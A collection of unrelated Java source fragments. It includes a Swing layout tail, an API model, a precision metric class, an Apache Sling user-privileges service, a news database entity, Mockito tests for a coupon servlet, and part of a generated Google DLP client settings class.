.addComponent(freshnessField, javax.swing.GroupLayout.DEFAULT_SIZE, 107, Short.MAX_VALUE)))
.addComponent(revocationChBox))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(maxClockSkewLabel)
.addComponent(maxClockSkewField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(freshnessLabel)
.addComponent(freshnessField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(revocationChBox)
.addContainerGap())
);
}// </editor-fold>//GEN-END:initComponents
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JFormattedTextField freshnessField;
private javax.swing.JLabel freshnessLabel;
private javax.swing.JFormattedTextField maxClockSkewField;
private javax.swing.JLabel maxClockSkewLabel;
private javax.swing.JCheckBox revocationChBox;
// End of variables declaration//GEN-END:variables
}
|
Java
|
public class WriteRequestApiModel {
/**
* Attributes to update.
*/
@JsonProperty(value = "attributes", required = true)
private List<AttributeWriteRequestApiModel> attributes;
/**
* The headerProperty property.
*/
@JsonProperty(value = "header")
private RequestHeaderApiModel headerProperty;
/**
* Get attributes to update.
*
* @return the attributes value
*/
public List<AttributeWriteRequestApiModel> attributes() {
return this.attributes;
}
/**
* Set attributes to update.
*
* @param attributes the attributes value to set
* @return the WriteRequestApiModel object itself.
*/
public WriteRequestApiModel withAttributes(List<AttributeWriteRequestApiModel> attributes) {
this.attributes = attributes;
return this;
}
/**
* Get the headerProperty value.
*
* @return the headerProperty value
*/
public RequestHeaderApiModel headerProperty() {
return this.headerProperty;
}
/**
* Set the headerProperty value.
*
* @param headerProperty the headerProperty value to set
* @return the WriteRequestApiModel object itself.
*/
public WriteRequestApiModel withHeaderProperty(RequestHeaderApiModel headerProperty) {
this.headerProperty = headerProperty;
return this;
}
}
|
Java
|
public class PrecisionMetric implements EvaluationMetric {
public static final String NAME = "precision";
private static final ObjectParser<PrecisionMetric, Void> PARSER = new ObjectParser<>(NAME, true, PrecisionMetric::new);
public static PrecisionMetric fromXContent(XContentParser parser) {
return PARSER.apply(parser, null);
}
public PrecisionMetric() {}
@Override
public String getName() {
return NAME;
}
@Override
public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
builder.startObject();
builder.endObject();
return builder;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
return true;
}
@Override
public int hashCode() {
return Objects.hashCode(NAME);
}
public static class Result implements EvaluationMetric.Result {
private static final ParseField CLASSES = new ParseField("classes");
private static final ParseField AVG_PRECISION = new ParseField("avg_precision");
@SuppressWarnings("unchecked")
private static final ConstructingObjectParser<Result, Void> PARSER =
new ConstructingObjectParser<>("precision_result", true, a -> new Result((List<PerClassSingleValue>) a[0], (double) a[1]));
static {
PARSER.declareObjectArray(constructorArg(), PerClassSingleValue.PARSER, CLASSES);
PARSER.declareDouble(constructorArg(), AVG_PRECISION);
}
public static Result fromXContent(XContentParser parser) {
return PARSER.apply(parser, null);
}
/** List of per-class results. */
private final List<PerClassSingleValue> classes;
/** Average of per-class precisions. */
private final double avgPrecision;
public Result(List<PerClassSingleValue> classes, double avgPrecision) {
this.classes = Collections.unmodifiableList(Objects.requireNonNull(classes));
this.avgPrecision = avgPrecision;
}
@Override
public String getMetricName() {
return NAME;
}
public List<PerClassSingleValue> getClasses() {
return classes;
}
public double getAvgPrecision() {
return avgPrecision;
}
@Override
public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
builder.startObject();
builder.field(CLASSES.getPreferredName(), classes);
builder.field(AVG_PRECISION.getPreferredName(), avgPrecision);
builder.endObject();
return builder;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Result that = (Result) o;
return Objects.equals(this.classes, that.classes)
&& this.avgPrecision == that.avgPrecision;
}
@Override
public int hashCode() {
return Objects.hash(classes, avgPrecision);
}
}
}
|
Java
|
public class TarPathItem extends AbstractArchivePathItem {
/**
* Creates a new {@link TarPathItem} object.
*
* @param path The path to the <tt>tar</tt> file.
*/
public TarPathItem(String path) {
super(path);
}
/**
* @see AbstractArchivePathItem#newArchive(String)
*/
@Override public Archive newArchive(String path) {
return new TarArchive(path);
}
/**
* @see AbstractArchivePathItem#newResource( String)
*/
@Override public Resource newResource(String relativePath) {
return new TarResource(this, relativePath);
}
/**
* @see AbstractArchivePathItem#toURL(String)
*/
@Override protected String toURL(String path) {
if (path.startsWith("tar:")) {
return path;
}
return Paths.normalize("tar:file:/" + path + "!/", '/');
}
}
|
Java
|
@Component (immediate=true, metatype=true)
@Service (value=AuthorizablePrivilegesInfo.class)
@Properties ({
@Property (name="service.description",
value="User/Group Privileges Information"),
@Property (name="service.vendor",
value="The Apache Software Foundation")
})
public class AuthorizablePrivilegesInfoImpl implements AuthorizablePrivilegesInfo {
/** default log */
private final Logger log = LoggerFactory.getLogger(getClass());
/**
* The default 'User administrator' group name
*
* @see #PAR_USER_ADMIN_GROUP_NAME
*/
private static final String DEFAULT_USER_ADMIN_GROUP_NAME = "UserAdmin";
/**
* The name of the configuration parameter providing the
* 'User administrator' group name.
*/
@Property (value=DEFAULT_USER_ADMIN_GROUP_NAME)
private static final String PAR_USER_ADMIN_GROUP_NAME = "user.admin.group.name";
private String userAdminGroupName = DEFAULT_USER_ADMIN_GROUP_NAME;
/**
* The default 'User administrator' group name
*
* @see #PAR_GROUP_ADMIN_GROUP_NAME
*/
private static final String DEFAULT_GROUP_ADMIN_GROUP_NAME = "GroupAdmin";
/**
* The name of the configuration parameter providing the
* 'Group administrator' group name.
*/
@Property (value=DEFAULT_GROUP_ADMIN_GROUP_NAME)
private static final String PAR_GROUP_ADMIN_GROUP_NAME = "group.admin.group.name";
private String groupAdminGroupName = DEFAULT_GROUP_ADMIN_GROUP_NAME;
/* (non-Javadoc)
* @see org.apache.sling.jackrabbit.usermanager.AuthorizablePrivilegesInfo#canAddGroup(javax.jcr.Session)
*/
public boolean canAddGroup(Session jcrSession) {
try {
UserManager userManager = AccessControlUtil.getUserManager(jcrSession);
Authorizable currentUser = userManager.getAuthorizable(jcrSession.getUserID());
if (currentUser != null) {
if (((User)currentUser).isAdmin()) {
return true; //admin user has full control
}
//check if the user is a member of the 'Group administrator' group
Authorizable groupAdmin = userManager.getAuthorizable(this.groupAdminGroupName);
if (groupAdmin instanceof Group) {
boolean isMember = ((Group)groupAdmin).isMember(currentUser);
if (isMember) {
return true;
}
}
}
} catch (RepositoryException e) {
log.warn("Failed to determine if {} can add a new group", jcrSession.getUserID());
}
return false;
}
/* (non-Javadoc)
* @see org.apache.sling.jackrabbit.usermanager.AuthorizablePrivilegesInfo#canAddUser(javax.jcr.Session)
*/
public boolean canAddUser(Session jcrSession) {
try {
//if self-registration is enabled, then anyone can create a user
if (componentContext != null) {
String filter = "(&(sling.servlet.resourceTypes=sling/users)(|(sling.servlet.methods=POST)(sling.servlet.selectors=create)))";
BundleContext bundleContext = componentContext.getBundleContext();
ServiceReference[] serviceReferences = bundleContext.getServiceReferences(Servlet.class.getName(), filter);
if (serviceReferences != null) {
String propName = "self.registration.enabled";
for (ServiceReference serviceReference : serviceReferences) {
Object propValue = serviceReference.getProperty(propName);
if (propValue != null) {
boolean selfRegEnabled = Boolean.TRUE.equals(propValue);
if (selfRegEnabled) {
return true;
}
break;
}
}
}
}
UserManager userManager = AccessControlUtil.getUserManager(jcrSession);
Authorizable currentUser = userManager.getAuthorizable(jcrSession.getUserID());
if (currentUser != null) {
if (((User)currentUser).isAdmin()) {
return true; //admin user has full control
}
//check if the user is a member of the 'User administrator' group
Authorizable userAdmin = userManager.getAuthorizable(this.userAdminGroupName);
if (userAdmin instanceof Group) {
boolean isMember = ((Group)userAdmin).isMember(currentUser);
if (isMember) {
return true;
}
}
}
} catch (RepositoryException e) {
log.warn("Failed to determine if {} can add a new user", jcrSession.getUserID());
} catch (InvalidSyntaxException e) {
log.warn("Failed to determine if {} can add a new user", jcrSession.getUserID());
}
return false;
}
/* (non-Javadoc)
* @see org.apache.sling.jackrabbit.usermanager.AuthorizablePrivilegesInfo#canRemove(javax.jcr.Session, java.lang.String)
*/
public boolean canRemove(Session jcrSession, String principalId) {
try {
UserManager userManager = AccessControlUtil.getUserManager(jcrSession);
Authorizable currentUser = userManager.getAuthorizable(jcrSession.getUserID());
if (((User)currentUser).isAdmin()) {
return true; //admin user has full control
}
Authorizable authorizable = userManager.getAuthorizable(principalId);
if (authorizable instanceof User) {
//check if the user is a member of the 'User administrator' group
Authorizable userAdmin = userManager.getAuthorizable(this.userAdminGroupName);
if (userAdmin instanceof Group) {
boolean isMember = ((Group)userAdmin).isMember(currentUser);
if (isMember) {
return true;
}
}
} else if (authorizable instanceof Group) {
//check if the user is a member of the 'Group administrator' group
Authorizable groupAdmin = userManager.getAuthorizable(this.groupAdminGroupName);
if (groupAdmin instanceof Group) {
boolean isMember = ((Group)groupAdmin).isMember(currentUser);
if (isMember) {
return true;
}
}
}
} catch (RepositoryException e) {
log.warn("Failed to determine if {} can remove authorizable {}", jcrSession.getUserID(), principalId);
}
return false;
}
/* (non-Javadoc)
* @see org.apache.sling.jackrabbit.usermanager.AuthorizablePrivilegesInfo#canUpdateGroupMembers(javax.jcr.Session, java.lang.String)
*/
public boolean canUpdateGroupMembers(Session jcrSession, String groupId) {
try {
UserManager userManager = AccessControlUtil.getUserManager(jcrSession);
Authorizable currentUser = userManager.getAuthorizable(jcrSession.getUserID());
if (((User)currentUser).isAdmin()) {
return true; //admin user has full control
}
Authorizable authorizable = userManager.getAuthorizable(groupId);
if (authorizable instanceof Group) {
//check if the user is a member of the 'Group administrator' group
Authorizable groupAdmin = userManager.getAuthorizable(this.groupAdminGroupName);
if (groupAdmin instanceof Group) {
boolean isMember = ((Group)groupAdmin).isMember(currentUser);
if (isMember) {
return true;
}
}
//check if the user is a member of the 'User administrator' group
Authorizable userAdmin = userManager.getAuthorizable(this.userAdminGroupName);
if (userAdmin instanceof Group) {
boolean isMember = ((Group)userAdmin).isMember(currentUser);
if (isMember) {
return true;
}
}
}
} catch (RepositoryException e) {
log.warn("Failed to determine if {} can remove authorizable {}", jcrSession.getUserID(), groupId);
}
return false;
}
/* (non-Javadoc)
* @see org.apache.sling.jackrabbit.usermanager.AuthorizablePrivilegesInfo#canUpdateProperties(javax.jcr.Session, java.lang.String)
*/
public boolean canUpdateProperties(Session jcrSession, String principalId) {
try {
if (jcrSession.getUserID().equals(principalId)) {
//user is allowed to update it's own properties
return true;
}
UserManager userManager = AccessControlUtil.getUserManager(jcrSession);
Authorizable currentUser = userManager.getAuthorizable(jcrSession.getUserID());
if (((User)currentUser).isAdmin()) {
return true; //admin user has full control
}
Authorizable authorizable = userManager.getAuthorizable(principalId);
if (authorizable instanceof User) {
//check if the user is a member of the 'User administrator' group
Authorizable userAdmin = userManager.getAuthorizable(this.userAdminGroupName);
if (userAdmin instanceof Group) {
boolean isMember = ((Group)userAdmin).isMember(currentUser);
if (isMember) {
return true;
}
}
} else if (authorizable instanceof Group) {
//check if the user is a member of the 'Group administrator' group
Authorizable groupAdmin = userManager.getAuthorizable(this.groupAdminGroupName);
if (groupAdmin instanceof Group) {
boolean isMember = ((Group)groupAdmin).isMember(currentUser);
if (isMember) {
return true;
}
}
}
} catch (RepositoryException e) {
log.warn("Failed to determine if {} can remove authorizable {}", jcrSession.getUserID(), principalId);
}
return false;
}
// ---------- SCR Integration ----------------------------------------------
//keep track of the bundle context
private ComponentContext componentContext;
/**
* Called by SCR to activate the component.
*
* @throws InvalidKeyException
* @throws NoSuchAlgorithmException
* @throws IllegalStateException
* @throws UnsupportedEncodingException
*/
protected void activate(ComponentContext componentContext)
throws InvalidKeyException, NoSuchAlgorithmException,
IllegalStateException, UnsupportedEncodingException {
this.componentContext = componentContext;
Dictionary<?, ?> properties = componentContext.getProperties();
this.userAdminGroupName = OsgiUtil.toString(properties.get(PAR_USER_ADMIN_GROUP_NAME),
DEFAULT_USER_ADMIN_GROUP_NAME);
log.info("User Admin Group Name {}", this.userAdminGroupName);
this.groupAdminGroupName = OsgiUtil.toString(properties.get(PAR_GROUP_ADMIN_GROUP_NAME),
DEFAULT_GROUP_ADMIN_GROUP_NAME);
log.info("Group Admin Group Name {}", this.groupAdminGroupName);
}
protected void deactivate(ComponentContext componentContext) {
this.userAdminGroupName = DEFAULT_USER_ADMIN_GROUP_NAME;
this.groupAdminGroupName = DEFAULT_GROUP_ADMIN_GROUP_NAME;
}
}
|
Java
|
@Entity
public final class News {
/**
* Unique id
*/
@PrimaryKey (autoGenerate = false)
private Long id;
/**
* The Tittle.
* Restrictions: not null, size > 2.
*/
@ColumnInfo(name = "title")
private final String title;
/**
* The source
* Restrictions: not null, size > 2.
*/
@ColumnInfo(name = "source")
private final String source;
/**
* The author.
* Restrictions: not null, size > 2.
*/
@ColumnInfo(name = "author")
private final String author;
/**
* The URL.
*/
@ColumnInfo(name = "url")
private final String url;
/**
* The URL of the image.
*/
@ColumnInfo(name = "urlImage")
private final String urlImage;
/**
* The description.
*/
@ColumnInfo(name = "description")
private final String description;
/**
* The content.
* Restrictions: not null.
*/
@ColumnInfo(name = "content")
private final String content;
/**
* The date of publish.
* Restrictions: not null.
*/
@ColumnInfo(name = "publishedAt")
private final ZonedDateTime publishedAt;
/**
* The constructor.
* @param title
* @param source
* @param author
* @param url
* @param urlImage
* @param description
* @param content
* @param publishedAt
*/
public News(String title, String source, String author, String url, String urlImage, String description, String content, ZonedDateTime publishedAt) {
// Validation of title
Validation.notNull(title, "title");
this.title = title;
// Validation of source
Validation.notNull(source, "source");
this.source = source;
// Validation of author
Validation.notNull(author, "author");
this.author = author;
// Apply the xxHash function
this.id = LongHashFunction.xx().hashChars(title + '|' + source + '|' + author);
// Can't be null
this.url = url;
this.urlImage = urlImage;
Validation.notNull(description, "description");
this.description = description;
Validation.notNull(content, "content");
this.content = content;
Validation.notNull(publishedAt, "publishedAt");
this.publishedAt = publishedAt;
}
/**
* @return the Id.
*/
public Long getId() { return id; }
/**
* @return the tittle.
*/
public String getTitle() { return title; }
/**
* @return the source.
*/
public String getSource() { return source; }
/**
* @return the author.
*/
public String getAuthor() { return author; }
/**
* @return the URL.
*/
public String getUrl() { return url; }
/**
* @return the URL of the image.
*/
public String getUrlImage() { return urlImage; }
/**
* @return the description.
*/
public String getDescription() { return description; }
/**
* @return the content.
*/
public String getContent() { return content; }
/**
* @return the date of publish.
*/
public ZonedDateTime getPublishedAt() { return publishedAt; }
public void setId(Long id) {
this.id = id;
}
}
|
Java
|
class UnboundedFieldIdBroker implements FieldIdBroker {
private int id = 0;
public int get(String fieldName) {
int curid = id;
id++;
return curid;
}
}
|
Java
|
class SeededFieldIdBroker implements FieldIdBroker {
private final CaseInsensitiveImmutableBiMap<Integer> fieldIdMapping;
public SeededFieldIdBroker(CaseInsensitiveImmutableBiMap<Integer> fieldIdMapping) {
this.fieldIdMapping = fieldIdMapping;
}
public int get(String fieldName) {
Integer fieldId = fieldIdMapping.get(fieldName);
if (fieldId == null) {
throw new IllegalStateException("Did not find a ID for field: " + fieldName);
}
return fieldId;
}
}
|
Java
|
public class TestApplyCouponServlet extends Mockito {
public static final String COUPON_TEST_CODE = "couponTestCode";
public static final String TEST_API_KEY = "hootsuite";
private ServletRouter servletRouter;
private HttpServletRequest request;
private HttpServletResponse response;
private LogService logService;
private CouponPluginApi couponPluginApi;
@Before
public void setUp() {
logService = mock(LogService.class);
request = mock(HttpServletRequest.class);
response = mock(HttpServletResponse.class);
couponPluginApi = mock(CouponPluginApi.class);
servletRouter = new ServletRouter(couponPluginApi, logService);
}
@Test
public void testApplyCouponServletOK() throws Exception {
StringWriter stringWriter = new StringWriter();
PrintWriter writer = new PrintWriter(stringWriter);
UUID randomTenantId = UUID.randomUUID();
ApplyCouponRequest applyCouponRequest = buildSuccessfulApplyCouponRequest(randomTenantId);
CouponsAppliedRecord couponAppliedRecord = buildSuccessfulCouponAppliedRecord();
when(request.getHeader(Constants.X_KILLBILL_API_KEY)).thenReturn(TEST_API_KEY);
when(couponPluginApi.getTenantId(anyString())).thenReturn(randomTenantId);
when(couponPluginApi.getObjectFromJsonRequest(any(HttpServletRequest.class), any(LogService.class), any(Class.class))).thenReturn(applyCouponRequest);
when(couponPluginApi.getCouponApplied(anyString(), any(UUID.class), any(UUID.class))).thenReturn(couponAppliedRecord);
when(response.getWriter()).thenReturn(writer);
when(request.getPathInfo()).thenReturn(Constants.APPLY_COUPON_PATH.toString());
when(request.getMethod()).thenReturn("POST");
servletRouter.doPost(request, response);
assertTrue(stringWriter.toString().contains(COUPON_TEST_CODE));
}
@Test
public void testCreateCouponServletWithNullRequest() throws Exception {
StringWriter stringWriter = new StringWriter();
PrintWriter writer = new PrintWriter(stringWriter);
UUID randomTenantId = UUID.randomUUID();
when(request.getHeader(Constants.X_KILLBILL_API_KEY)).thenReturn(TEST_API_KEY);
when(couponPluginApi.getTenantId(anyString())).thenReturn(randomTenantId);
when(couponPluginApi.getObjectFromJsonRequest(any(HttpServletRequest.class), any(LogService.class), any(Class.class))).thenReturn(null);
when(response.getWriter()).thenReturn(writer);
when(request.getPathInfo()).thenReturn(Constants.APPLY_COUPON_PATH.toString());
when(request.getMethod()).thenReturn("POST");
when(request.getPathInfo()).thenReturn(Constants.APPLY_COUPON_PATH.toString());
when(request.getMethod()).thenReturn("POST");
servletRouter.doPost(request, response);
assertTrue(stringWriter.toString().contains("CouponApiException"));
}
@Test
public void testCreateCouponServletCouponSQLException() throws Exception {
StringWriter stringWriter = new StringWriter();
PrintWriter writer = new PrintWriter(stringWriter);
UUID randomTenantId = UUID.randomUUID();
ApplyCouponRequest applyCouponRequest = buildSuccessfulApplyCouponRequest(randomTenantId);
when(request.getHeader(Constants.X_KILLBILL_API_KEY)).thenReturn(TEST_API_KEY);
when(couponPluginApi.getTenantId(anyString())).thenReturn(randomTenantId);
when(couponPluginApi.getObjectFromJsonRequest(any(HttpServletRequest.class), any(LogService.class), any(Class.class))).thenReturn(applyCouponRequest);
when(couponPluginApi.getCouponApplied(anyString(), any(UUID.class), any(UUID.class))).thenThrow(SQLException.class);
when(response.getWriter()).thenReturn(writer);
when(request.getPathInfo()).thenReturn(Constants.APPLY_COUPON_PATH.toString());
when(request.getMethod()).thenReturn("POST");
servletRouter.doPost(request, response);
assertTrue(stringWriter.toString().contains("SQLException"));
}
@Test
public void testCreateCouponServletCouponCouponApiException() throws Exception {
StringWriter stringWriter = new StringWriter();
PrintWriter writer = new PrintWriter(stringWriter);
UUID randomTenantId = UUID.randomUUID();
ApplyCouponRequest applyCouponRequest = buildSuccessfulApplyCouponRequest(randomTenantId);
when(request.getHeader(Constants.X_KILLBILL_API_KEY)).thenReturn(TEST_API_KEY);
when(couponPluginApi.getTenantId(anyString())).thenReturn(randomTenantId);
when(couponPluginApi.getObjectFromJsonRequest(any(HttpServletRequest.class), any(LogService.class), any(Class.class))).thenReturn(applyCouponRequest);
when(couponPluginApi.getCouponApplied(anyString(), any(UUID.class), any(UUID.class))).thenThrow(CouponApiException.class);
when(response.getWriter()).thenReturn(writer);
when(request.getPathInfo()).thenReturn(Constants.APPLY_COUPON_PATH.toString());
when(request.getMethod()).thenReturn("POST");
servletRouter.doPost(request, response);
assertTrue(stringWriter.toString().contains("Coupon cannot be applied"));
}
@Test
public void testCreateCouponServletCouponException() throws Exception {
StringWriter stringWriter = new StringWriter();
PrintWriter writer = new PrintWriter(stringWriter);
UUID randomTenantId = UUID.randomUUID();
ApplyCouponRequest applyCouponRequest = buildSuccessfulApplyCouponRequest(randomTenantId);
when(request.getHeader(Constants.X_KILLBILL_API_KEY)).thenReturn(TEST_API_KEY);
when(couponPluginApi.getTenantId(anyString())).thenReturn(randomTenantId);
when(couponPluginApi.getObjectFromJsonRequest(any(HttpServletRequest.class), any(LogService.class), any(Class.class))).thenReturn(applyCouponRequest);
when(couponPluginApi.getCouponApplied(anyString(), any(UUID.class), any(UUID.class))).thenThrow(Exception.class);
when(response.getWriter()).thenReturn(writer);
when(request.getPathInfo()).thenReturn(Constants.APPLY_COUPON_PATH.toString());
when(request.getMethod()).thenReturn("POST");
servletRouter.doPost(request, response);
assertTrue(stringWriter.toString().contains("API Exception"));
}
@Test
public void testApplyCouponServletWithNullCouponApplied() throws Exception {
StringWriter stringWriter = new StringWriter();
PrintWriter writer = new PrintWriter(stringWriter);
UUID randomTenantId = UUID.randomUUID();
ApplyCouponRequest applyCouponRequest = buildSuccessfulApplyCouponRequest(randomTenantId);
when(request.getHeader(Constants.X_KILLBILL_API_KEY)).thenReturn(TEST_API_KEY);
when(couponPluginApi.getTenantId(anyString())).thenReturn(randomTenantId);
when(couponPluginApi.getObjectFromJsonRequest(any(HttpServletRequest.class), any(LogService.class), any(Class.class))).thenReturn(applyCouponRequest);
when(couponPluginApi.getCouponApplied(anyString(), any(UUID.class), any(UUID.class))).thenReturn(null);
when(response.getWriter()).thenReturn(writer);
when(request.getPathInfo()).thenReturn(Constants.APPLY_COUPON_PATH.toString());
when(request.getMethod()).thenReturn("POST");
servletRouter.doPost(request, response);
assertTrue(stringWriter.toString().contains("Coupon Applied not found in the DB"));
}
private ApplyCouponRequest buildSuccessfulApplyCouponRequest(UUID randomTenantId) {
ApplyCouponRequest result = new ApplyCouponRequest();
result.setCouponCode(COUPON_TEST_CODE);
result.setAccountId(randomTenantId);
result.setSubscriptionId(randomTenantId);
return result;
}
private CouponsAppliedRecord buildSuccessfulCouponAppliedRecord() {
CouponsAppliedRecord result = new CouponsAppliedRecord();
result.setCouponCode(COUPON_TEST_CODE);
result.setKbAccountId(UUID.randomUUID().toString());
result.setKbSubscriptionId(UUID.randomUUID().toString());
result.setKbTenantId(UUID.randomUUID().toString());
return result;
}
}
|
Java
|
@Generated("by gapic-generator")
@BetaApi
public class DlpServiceSettings extends ClientSettings<DlpServiceSettings> {
/** Returns the object with the settings used for calls to inspectContent. */
public UnaryCallSettings<InspectContentRequest, InspectContentResponse> inspectContentSettings() {
return ((DlpServiceStubSettings) getStubSettings()).inspectContentSettings();
}
/** Returns the object with the settings used for calls to redactImage. */
public UnaryCallSettings<RedactImageRequest, RedactImageResponse> redactImageSettings() {
return ((DlpServiceStubSettings) getStubSettings()).redactImageSettings();
}
/** Returns the object with the settings used for calls to deidentifyContent. */
public UnaryCallSettings<DeidentifyContentRequest, DeidentifyContentResponse>
deidentifyContentSettings() {
return ((DlpServiceStubSettings) getStubSettings()).deidentifyContentSettings();
}
/** Returns the object with the settings used for calls to reidentifyContent. */
public UnaryCallSettings<ReidentifyContentRequest, ReidentifyContentResponse>
reidentifyContentSettings() {
return ((DlpServiceStubSettings) getStubSettings()).reidentifyContentSettings();
}
/** Returns the object with the settings used for calls to listInfoTypes. */
public UnaryCallSettings<ListInfoTypesRequest, ListInfoTypesResponse> listInfoTypesSettings() {
return ((DlpServiceStubSettings) getStubSettings()).listInfoTypesSettings();
}
/** Returns the object with the settings used for calls to createInspectTemplate. */
public UnaryCallSettings<CreateInspectTemplateRequest, InspectTemplate>
createInspectTemplateSettings() {
return ((DlpServiceStubSettings) getStubSettings()).createInspectTemplateSettings();
}
/** Returns the object with the settings used for calls to updateInspectTemplate. */
public UnaryCallSettings<UpdateInspectTemplateRequest, InspectTemplate>
updateInspectTemplateSettings() {
return ((DlpServiceStubSettings) getStubSettings()).updateInspectTemplateSettings();
}
/** Returns the object with the settings used for calls to getInspectTemplate. */
public UnaryCallSettings<GetInspectTemplateRequest, InspectTemplate>
getInspectTemplateSettings() {
return ((DlpServiceStubSettings) getStubSettings()).getInspectTemplateSettings();
}
/** Returns the object with the settings used for calls to listInspectTemplates. */
public PagedCallSettings<
ListInspectTemplatesRequest,
ListInspectTemplatesResponse,
ListInspectTemplatesPagedResponse>
listInspectTemplatesSettings() {
return ((DlpServiceStubSettings) getStubSettings()).listInspectTemplatesSettings();
}
/** Returns the object with the settings used for calls to deleteInspectTemplate. */
public UnaryCallSettings<DeleteInspectTemplateRequest, Empty> deleteInspectTemplateSettings() {
return ((DlpServiceStubSettings) getStubSettings()).deleteInspectTemplateSettings();
}
/** Returns the object with the settings used for calls to createDeidentifyTemplate. */
public UnaryCallSettings<CreateDeidentifyTemplateRequest, DeidentifyTemplate>
createDeidentifyTemplateSettings() {
return ((DlpServiceStubSettings) getStubSettings()).createDeidentifyTemplateSettings();
}
/** Returns the object with the settings used for calls to updateDeidentifyTemplate. */
public UnaryCallSettings<UpdateDeidentifyTemplateRequest, DeidentifyTemplate>
updateDeidentifyTemplateSettings() {
return ((DlpServiceStubSettings) getStubSettings()).updateDeidentifyTemplateSettings();
}
/** Returns the object with the settings used for calls to getDeidentifyTemplate. */
public UnaryCallSettings<GetDeidentifyTemplateRequest, DeidentifyTemplate>
getDeidentifyTemplateSettings() {
return ((DlpServiceStubSettings) getStubSettings()).getDeidentifyTemplateSettings();
}
/** Returns the object with the settings used for calls to listDeidentifyTemplates. */
public PagedCallSettings<
ListDeidentifyTemplatesRequest,
ListDeidentifyTemplatesResponse,
ListDeidentifyTemplatesPagedResponse>
listDeidentifyTemplatesSettings() {
return ((DlpServiceStubSettings) getStubSettings()).listDeidentifyTemplatesSettings();
}
/** Returns the object with the settings used for calls to deleteDeidentifyTemplate. */
public UnaryCallSettings<DeleteDeidentifyTemplateRequest, Empty>
deleteDeidentifyTemplateSettings() {
return ((DlpServiceStubSettings) getStubSettings()).deleteDeidentifyTemplateSettings();
}
/** Returns the object with the settings used for calls to createDlpJob. */
public UnaryCallSettings<CreateDlpJobRequest, DlpJob> createDlpJobSettings() {
return ((DlpServiceStubSettings) getStubSettings()).createDlpJobSettings();
}
/** Returns the object with the settings used for calls to listDlpJobs. */
public PagedCallSettings<ListDlpJobsRequest, ListDlpJobsResponse, ListDlpJobsPagedResponse>
listDlpJobsSettings() {
return ((DlpServiceStubSettings) getStubSettings()).listDlpJobsSettings();
}
/** Returns the object with the settings used for calls to getDlpJob. */
public UnaryCallSettings<GetDlpJobRequest, DlpJob> getDlpJobSettings() {
return ((DlpServiceStubSettings) getStubSettings()).getDlpJobSettings();
}
/** Returns the object with the settings used for calls to deleteDlpJob. */
public UnaryCallSettings<DeleteDlpJobRequest, Empty> deleteDlpJobSettings() {
return ((DlpServiceStubSettings) getStubSettings()).deleteDlpJobSettings();
}
/** Returns the object with the settings used for calls to cancelDlpJob. */
public UnaryCallSettings<CancelDlpJobRequest, Empty> cancelDlpJobSettings() {
return ((DlpServiceStubSettings) getStubSettings()).cancelDlpJobSettings();
}
/** Returns the object with the settings used for calls to listJobTriggers. */
public PagedCallSettings<
ListJobTriggersRequest, ListJobTriggersResponse, ListJobTriggersPagedResponse>
listJobTriggersSettings() {
return ((DlpServiceStubSettings) getStubSettings()).listJobTriggersSettings();
}
/** Returns the object with the settings used for calls to getJobTrigger. */
public UnaryCallSettings<GetJobTriggerRequest, JobTrigger> getJobTriggerSettings() {
return ((DlpServiceStubSettings) getStubSettings()).getJobTriggerSettings();
}
/** Returns the object with the settings used for calls to deleteJobTrigger. */
public UnaryCallSettings<DeleteJobTriggerRequest, Empty> deleteJobTriggerSettings() {
return ((DlpServiceStubSettings) getStubSettings()).deleteJobTriggerSettings();
}
/** Returns the object with the settings used for calls to updateJobTrigger. */
public UnaryCallSettings<UpdateJobTriggerRequest, JobTrigger> updateJobTriggerSettings() {
return ((DlpServiceStubSettings) getStubSettings()).updateJobTriggerSettings();
}
/** Returns the object with the settings used for calls to createJobTrigger. */
public UnaryCallSettings<CreateJobTriggerRequest, JobTrigger> createJobTriggerSettings() {
return ((DlpServiceStubSettings) getStubSettings()).createJobTriggerSettings();
}
/** Returns the object with the settings used for calls to createStoredInfoType. */
public UnaryCallSettings<CreateStoredInfoTypeRequest, StoredInfoType>
createStoredInfoTypeSettings() {
return ((DlpServiceStubSettings) getStubSettings()).createStoredInfoTypeSettings();
}
/** Returns the object with the settings used for calls to updateStoredInfoType. */
public UnaryCallSettings<UpdateStoredInfoTypeRequest, StoredInfoType>
updateStoredInfoTypeSettings() {
return ((DlpServiceStubSettings) getStubSettings()).updateStoredInfoTypeSettings();
}
/** Returns the object with the settings used for calls to getStoredInfoType. */
public UnaryCallSettings<GetStoredInfoTypeRequest, StoredInfoType> getStoredInfoTypeSettings() {
return ((DlpServiceStubSettings) getStubSettings()).getStoredInfoTypeSettings();
}
/** Returns the object with the settings used for calls to listStoredInfoTypes. */
public PagedCallSettings<
ListStoredInfoTypesRequest, ListStoredInfoTypesResponse, ListStoredInfoTypesPagedResponse>
listStoredInfoTypesSettings() {
return ((DlpServiceStubSettings) getStubSettings()).listStoredInfoTypesSettings();
}
/** Returns the object with the settings used for calls to deleteStoredInfoType. */
public UnaryCallSettings<DeleteStoredInfoTypeRequest, Empty> deleteStoredInfoTypeSettings() {
return ((DlpServiceStubSettings) getStubSettings()).deleteStoredInfoTypeSettings();
}
public static final DlpServiceSettings create(DlpServiceStubSettings stub) throws IOException {
return new DlpServiceSettings.Builder(stub.toBuilder()).build();
}
/** Returns a builder for the default ExecutorProvider for this service. */
